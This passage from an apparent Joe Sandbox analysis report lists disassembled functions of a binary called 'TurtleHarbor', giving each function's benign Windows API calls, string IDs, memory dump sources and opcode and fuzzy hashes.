                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ClassMessageNameSend_memmove
                                            • String ID: ComboBox$ListBox
                                            • API String ID: 372448540-1403004172
                                            • Opcode ID: 4028a6d745f40bf7f58b7e8b45bf272c0c8e3e5ed4b929e03c9b394b5f70f4ac
                                            • Instruction ID: c5e323545ace8b07af3b0d549df497c19b229d9f251464bda45269521b5c14d9
                                            • Opcode Fuzzy Hash: 4028a6d745f40bf7f58b7e8b45bf272c0c8e3e5ed4b929e03c9b394b5f70f4ac
                                            • Instruction Fuzzy Hash: 5701F775E811186BCB16FBA0C952FFFB3AC9F25300F10401AB841A7285DA205F0896F1
                                            Function 0036993A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                              • Part of subcall function 0036B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0036B7BD
                                            • SendMessageW.USER32(?,00000182,?,00000000), ref: 003699A6
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ClassMessageNameSend_memmove
                                            • String ID: ComboBox$ListBox
                                            • API String ID: 372448540-1403004172
                                            • Opcode ID: 1cd17f1a70b808f0ed75249b9f143a2710688af4242b031d3e7e6b6a03fbe63f
                                            • Instruction ID: 5fa1f4d49fcfc59c9101818c0ee89988c0e1cbdd02e92607408e587254c3ec3b
                                            • Opcode Fuzzy Hash: 1cd17f1a70b808f0ed75249b9f143a2710688af4242b031d3e7e6b6a03fbe63f
                                            • Instruction Fuzzy Hash: 7101A772A4111867CB16FBA4CA52FFFB3AC9F21340F14401AB845A7285DA244F0896B1
                                            Function 00336D9E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: __calloc_crt
                                            • String ID: @b=
                                            • API String ID: 3494438863-2155352550
                                            • Opcode ID: dc2086d4ca4e5843d4000fbfe41b53232cb9ddde04b58249984d62560616bb4a
                                            • Instruction ID: 9c03ccf43ed324d980f74bc3f43ab5033bea00e2b8ebf535ee8c94ca0be9ba8e
                                            • Opcode Fuzzy Hash: dc2086d4ca4e5843d4000fbfe41b53232cb9ddde04b58249984d62560616bb4a
                                            • Instruction Fuzzy Hash: 39F04FB2309752AFE72B8B69FD927A52799E720724F51886BF100DE294F73488814684
                                            Function 003754E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ClassName_wcscmp
                                            • String ID: #32770
                                            • API String ID: 2292705959-463685578
                                            • Opcode ID: e4ab7e9af218a3e164af65e495f8fd738ec9097d3906f7d2af9653c3d4291997
                                            • Instruction ID: bcc5b12758c4f64397d97366024716e456b5547e0a3463068474df1972fcea9a
                                            • Opcode Fuzzy Hash: e4ab7e9af218a3e164af65e495f8fd738ec9097d3906f7d2af9653c3d4291997
                                            • Instruction Fuzzy Hash: E3E0D17250022917D7219759BC45FA7F7ACDB55771F000157FD04D7051D571ED4587D0
                                            Function 00350251 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetSystemDirectoryW.KERNEL32(?), ref: 00350091
                                              • Part of subcall function 0038C6D9: LoadLibraryA.KERNEL32(kernel32.dll,?,0035027A,?), ref: 0038C6E7
                                              • Part of subcall function 0038C6D9: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0038C6F9
                                            • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00350289
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Library$AddressDirectoryFreeLoadProcSystem
                                            • String ID: WIN_XPe
                                            • API String ID: 582185067-3257408948
                                            • Opcode ID: ada96bb75498b434d31b303a7710d4b9f504887c2b22f10ffe0985ba7eee8e95
                                            • Instruction ID: 48fec0831fb411495422628bad084a5e194371553f517f297bed3f0c1ab18f5c
                                            • Opcode Fuzzy Hash: ada96bb75498b434d31b303a7710d4b9f504887c2b22f10ffe0985ba7eee8e95
                                            • Instruction Fuzzy Hash: 43F0C071805109DFCB5BDB51C954BEC7BBCAB48301F141495E546B75A0CB725F88DF21
                                            Function 00325800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • DestroyIcon.USER32(,z=0z=,003D7A2C,003D7890,?,00325A53,003D7A2C,003D7A30,?,00000004), ref: 00325823
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: DestroyIcon
                                            • String ID: ,z=0z=$SZ2,z=0z=
                                            • API String ID: 1234817797-2513326810
                                            • Opcode ID: 7c7346adbefbd3c5bd8999e8794ea464e86bbfbed105c08037e7ecb3926e0959
                                            • Instruction ID: 549c2eacafd96a900afd50e2aa289c60d98f33e6bc33a9a7156fcf48544f4a6d
                                            • Opcode Fuzzy Hash: 7c7346adbefbd3c5bd8999e8794ea464e86bbfbed105c08037e7ecb3926e0959
                                            • Instruction Fuzzy Hash: F9E0C232114216EBE7220F08E8007A4FBECAF21721F24C016E08056050D3F169A0DB90
                                            Function 00379EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetTempPathW.KERNEL32(00000104,?), ref: 00379EB5
                                            • GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00379ECC
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Temp$FileNamePath
                                            • String ID: aut
                                            • API String ID: 3285503233-3010740371
                                            • Opcode ID: 5d6c9f1233587c43872f8d0dcc786b0ac8eaf7337e322331453d5b94747edec9
                                            • Instruction ID: 23fcbeb231a299e70e3dd6770dc09adecdd189df1da20f2b8dfd446b64730306
                                            • Opcode Fuzzy Hash: 5d6c9f1233587c43872f8d0dcc786b0ac8eaf7337e322331453d5b94747edec9
                                            • Instruction Fuzzy Hash: 22D05E7554030DABDB51AB94DC0EFDABB2CDB14700F0046A1BE58910A2DB7159948B91